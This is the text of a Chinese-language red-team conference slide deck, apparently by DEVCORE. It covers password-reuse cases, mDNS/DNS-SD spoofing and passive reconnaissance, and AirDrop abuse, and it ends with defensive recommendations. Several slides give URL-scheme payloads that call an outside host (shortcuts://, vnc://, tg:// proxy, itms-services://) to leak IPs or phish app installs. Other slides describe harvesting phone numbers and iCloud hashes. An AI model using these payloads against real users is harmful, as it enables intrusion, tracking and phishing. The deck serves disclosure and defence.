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防禦設備放好放滿

WAF

EDR

IPS

IDS

Antivirus
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突破點往往不用這麼困難
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紅隊實際遇到的案例 
*已去識別化*
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案例一：對外開啟管理頁面的 Router

WAF

EDR

IPS

IDS

Antivirus

開發用 Router
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• 帳號 

• 員工編號 

• 預設密碼 

• 身分證後四碼 + 生日 (94010315)

案例二：某重要系統

重要系統
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• 帳號 

• 員工編號 

• 預設密碼 

• 身分證後四碼 + 生日 (94010315)

案例二：某重要系統

重要系統

A 員工

B 主管

打卡標註
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翻！



DE  CORE案例二：某重要系統
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• 帳號 

• 員工編號 

• 預設密碼 

• 身分證後四碼 + 生日 (94010315) 

• 從員工社群關聯到主管

案例二：某重要系統

A 員工

B 主管

重要系統

打卡標註

預設密碼



DE  CORE案例三：外網筆記發現 VPN 資訊



DE  CORE案例四：SSH 私鑰裸奔



DE  CORE案例五：論文發現 DA 密碼



DE  CORE案例六：粉絲團員工活動合照背景
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僅公布於研討會
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#REDTEAM

網頁弱點 伺服器提權 內網橫向 打 AD

傳統紅隊演練 
常見流程
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紅隊演練的  
Side Channel Attack
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• 核心概念 

• 無需手動設定 

• 設備自動發現和通信 

• 主要功能 

• IP 設定 

• 服務發現 

• 名稱解析

Zeroconf
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• 無需 DNS 伺服器的區域網路服務發現 

• 標準和傳輸 

• 遵循 RFC 6762 標準 

• 使用 UDP 協定，IP 224.0.0.251，連接埠 5353 

• 廣泛支持 

• Apple (Bonjour)、Linux (Avahi) 等服務

mDNS (Multicast DNS) 



印表機  192.168.0.3

桌機  192.168.0.2

筆電  192.168.0.4

有網路印表機嗎 ?

 有 oa.ipps._tcp.local  
是 192.168.0.3

我是 oa.ipps._tcp.local 
192.168.0.3

mDNS 服務發現流程
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• 無需 DNS 伺服器的區域網路服務發現 

• 標準和傳輸 

• 遵循 RFC 6763 標準 

• 基於 DNS 中的技術如 SRV、TXT 等 

• 用途 

• 網路印表機、檔案共享服務

DNS-SD 



DE  COREDNS-SD - FQDN 結構 

<Service>.<Domain> 

<Instance Name>.<Service Type>.<Domain> 

<Hostname>
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TEST.ipps._tcp.local

Service Protocol Name

Domain Name



PTR  
(Pointer Record)

SRV  
(Service Record)

A or AAAA  
(Address Record)

TXT  
(Text Record)



印表機筆電

服務發現

PTR _ipps._tcp.local

_ipps._tcp.local PTR oa._ipps_.tcp.local



印表機筆電

服務詳細資訊

SRV oa._ipps_.tcp.local

oa._ipps_.tcp.local SRV 0 0 8000  
printer.local



印表機筆電

服務區網 IP 位置

A printer.local

printer.local A 192.168.0.3
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mDNS 攻擊面向
偽造裝置或服務

內網資訊蒐集

DoS

應用 mDNS 的服務
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• 註冊存在服務 TTL 設為 0 

• 註冊大量不同名且 TTL 異常服務 

• 內網常用服務  

• 印表機 _ipp._tcp.local 

• 網頁服務 _http._tcp.local

DoS



DE  CORETTL 異常服務 

 
僅公布於研討會



DoS - 放大攻擊

註冊 10 個服務

請求 10 次

請求 10 次

請求 10 次

攻擊者
受害主機
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偽造服務與裝置



有網路印表機嗎 ?嘗試連線到 192.168.0.5
偽造服務

 有 oa.ipps._tcp.local  
是 192.168.0.3

 有 oa.ipps._tcp.local  
是 192.168.0.5

印表機  192.168.0.3

桌機  192.168.0.2

筆電  192.168.0.4

我是 oa.ipps._tcp.local 
192.168.0.3

我是 oa.ipps._tcp.local 
192.168.0.5

駭客  192.168.0.5



DE  CORE偽造印表機



印表機  192.168.0.3

桌機  192.168.0.2

駭客  192.168.0.5

劫持列印內容
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被動內網服務掃描



DE  CORE應用情境

• 假設情境打進一臺內網主機 

• 主機服務、設定檔、Log、ARP 

• Nmap、MASSCAN 主動式掃描
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• raspberrypi.local 

• _arduino._tcp.local 

• _googlecast._tcp.local 

• _sonos._tcp.local 

• jason_desktop.local

設備名稱
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• _ssh._tcp.local 

• _http._tcp.local 

• _api._tcp.local 

• _ipp._tcp.local 

• _scanner._tcp.local

服務名稱
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• 開啟透過 mDNS 的服務時發送廣播 

• 開啟機器時發送廣播

mDNS 發送時間點

• 被詢問時才發送廣播 

• 一直發送廣播
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• 開啟透過 mDNS 的服務時發送廣播 

• 開啟服務的時間 

• 開啟機器時發送廣播 

• 開啟機器的時間

mDNS 發送時間點

• 被詢問時才發送廣播 

• 有其他機器使用該服務 

• 一直發送廣播
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• iPhone 打開控制面板 

• _airplay._tcp.local 

• _roap._tcp.local

行為偵測
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• _companion-link._tcp.local 

• _sleep-proxy._udp.local 

• _apple-mobdev._tcp.local

作業系統特徵 - macOS
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• 預設裝置名稱	  

• DESKTOP-XXXXXXX 

• 亂數 7 位大寫英文與數字 

• 有安裝 Chrome，並使用 Chrome 時 

• 設定-自動偵測設定 proxy 

• wpad.local

作業系統特徵 - Windows 



DE  CORE作業系統特徵 - Linux (Fedora)
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• 設備資訊 

• ADB 服務

IoT 設備 - Smart TV



DE  CORE應用情境

落地搜集資訊

本地分析



DE  CORE服務資訊

 
僅公布於研討會



DE  CORE服務資訊

 
僅公布於研討會
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• 透過長時間監聽 mDNS 廣播 

• 主機類型 

• 服務清單 

• 使用情況與時間 

• 版本或其他資訊 

• 有機會跨 vlan 或網段得知服務資訊 

• 嘗試對內網有使用 mDNS 的服務攻擊

被動內網服務掃描
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應用 mDNS 服務
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• 方便傳輸檔案 

• 透過 Bluetooth 開啟點對點 WiFi (AWDL) 

• mDNS 發現附近裝置 

• 模式 

• 所有人 

• 僅限聯絡人

AirDrop 簡介
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• 感情不好  使用通訊軟體聯絡 

• 新創公司使用 MacBook 比例較高

不負責任田野觀察



SUMMARY

DE  CORE

A low latency/high speed WiFi peer-to peer-connection Apple 
uses for everywhere you'd expect: AirDrop, GameKit (which 

also uses Bluetooth), AirPlay, and perhaps elsewhere. It works 
using its own dedicated network interface, typically "awdl0".

AWDL (Apple Wireless Direct Link)
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對駭客也方便



DE  COREAirDrop 搜尋附近裝置

_airdrop._tcp.local

Type: SRV 
Target: b556d4621850._airdrop._tcp.local 
Port: 8770



DE  COREAirDrop 通訊流程

Discover

Ask

Upload



DE  COREAirDrop 通訊流程

Discover

Ask

Upload



DE  COREAirDrop 通訊流程

Discover

Ask

Upload



接收端 傳送端
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• 偽造使用者釣魚 

• 觀察常使用的使用者 

• 傳送者資訊洩漏

接收端攻擊面向



DE  CORE偽造使用者
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DE  CORE偽造接收者

Bob 偽造  Bob Peter



DE  CORE偽造接收者

Bob 偽造  Bob Peter



DE  CORE偽造接收者

Bob 偽造  Bob Peter
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更細一步去研究



DE  COREAirDrop 通訊流程

Discover

Ask

Upload



DE  COREDiscover 發送請求時間

1) 選擇要傳送的對象時  

2) 選擇要傳送的檔案時  

3) 按下要傳送的檔案時 



DE  COREDiscover 發送請求



DE  COREDiscover 通訊內容
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DE  CORE手機號碼與 iCloud 帳號雜湊

 
僅公布於研討會
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• iCloud 帳號 (Email) 

• xxx@icloud.com 

• xxx@gmail.com 

• Email 格式 

• RFC 5322、6531 

• iCloud 格式：小寫英文、數字、 
半型句號、 底線

洩漏 iCloud 帳號與手機號碼

• 手機號碼 
• 886911111111 = 10^8
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DEMO
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DE  CORE跟蹤騷擾防制法



DE  CORE跟蹤騷擾防制法

一年以下有期徒刑、拘役或科或 
併科新臺幣十萬元以下罰金
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接收端 傳送端



DE  CORE

• 傳送圖片

傳送內容
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• 傳送圖片 

• 傳送檔案

傳送內容
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• 傳送圖片 

• 傳送檔案 

• 傳送連結 (?)

傳送內容
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• 傳送圖片 

• 傳送檔案 

• 傳送連結 (?)

傳送內容
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https://username:password@www.example.com:443/path/to/page.html?query=file#fragment 

Scheme Hostname Path

UserInfo Port Query

Fragment

URL 101
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https://username:password@www.example.com:443/path/to/page.html?query=file#fragment 

Scheme Hostname Path

UserInfo Port Query

Fragment

URL 101
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• http、https

URL Scheme
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• http、https 

• file、gopher 、smb、ldap

URL Scheme
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• http、https 

• file、gopher 、smb、ldap 

• 其他軟體定義 
• slack 

• tg 

• line

URL Scheme
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AirDrop

URL  
Scheme
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有什麼優點？



 
僅公布於研討會



DE  CORE

• 傳送圖片 

• 傳送檔案 

• 傳送連結 (?) 

• 隱蔽允許開啟程式提示 

• 限制 Scheme (file、smb …) 

• 部分字元不可使用 {} ...

AirDrop attack vector



DE  COREURL Scheme



DE  CORE繞過限制 Scheme

shortcuts://x-callback-url/run-shortcut?name=x& 
x-error=file:///System/Applications/Calculator.app
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• Screen Sharing 

• vnc://devco.re:1337/ 

• Shortcuts 

• shortcuts://x-callback-url/import-shortcut?url=https://devco.re:1337/
x.shortcut&name=xx&silent=true 

• Parallels 

• prli://devco.re 

洩漏對外連線 IP
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• 新增惡意 Proxy  

• tg://proxy?
server=1.1.1.1&port=8787&secret=aaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaa

Telegram



DE  CORE安裝程式釣魚

• itms-services://?action=download-manifest&url=https://devco.re:1337/



DE  CORE應用程式弱點 - VSCode CVE 2022-41034
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• 工程師常見應用程式 

• 筆記軟體 

• 開發軟體 

• 編輯器

應用程式弱點

• 目標客戶安裝應用程式 

• 客製軟體 

• VPN 客戶端
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轉頭看旁邊的同事



DE  COREJoplin
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DE  COREJoplin



DE  COREJoplin
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XSS -> RCE
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AirDrop + Joplin  
= One-Click RCE
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AirDrop One-Click 
to RCE
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尚未修補 
不公開詳細資訊
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   內對內 mDNS 資訊搜集技巧 

   內對內偽造服務並劫持手法 

   AirDrop 情蒐方法 

   AirDrop 外對內攻擊新途徑

紅隊的 Side Channel Attack
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• 建議可建立並加強宣導針對企業內網服務、程式碼與密碼等內部資訊存放的規
範與原則 

• 限制內部員工或實習生不得將企業內部敏感資訊存放外部服務中 

• 建議盤點並關閉不必要的服務發現功能，以降低攻擊面 

• AirDrop 建議關閉或限制僅限聯絡人，也應避免點擊來源不明的傳送內容

防範建議
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• 建議可建立並加強宣導針對企業內網服務、程式碼與密碼等內部資訊存放的規
範與原則 

• 限制內部員工或實習生不得將企業內部敏感資訊存放外部服務中 

• 建議盤點並關閉不必要的服務發現功能，以降低攻擊面 

• AirDrop 建議關閉或限制僅限聯絡人，也應避免點擊來源不明的傳送內容

防範建議



Q&A
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戴夫寇爾股份有限公司 
contact@devco.re 
02-2577-0925


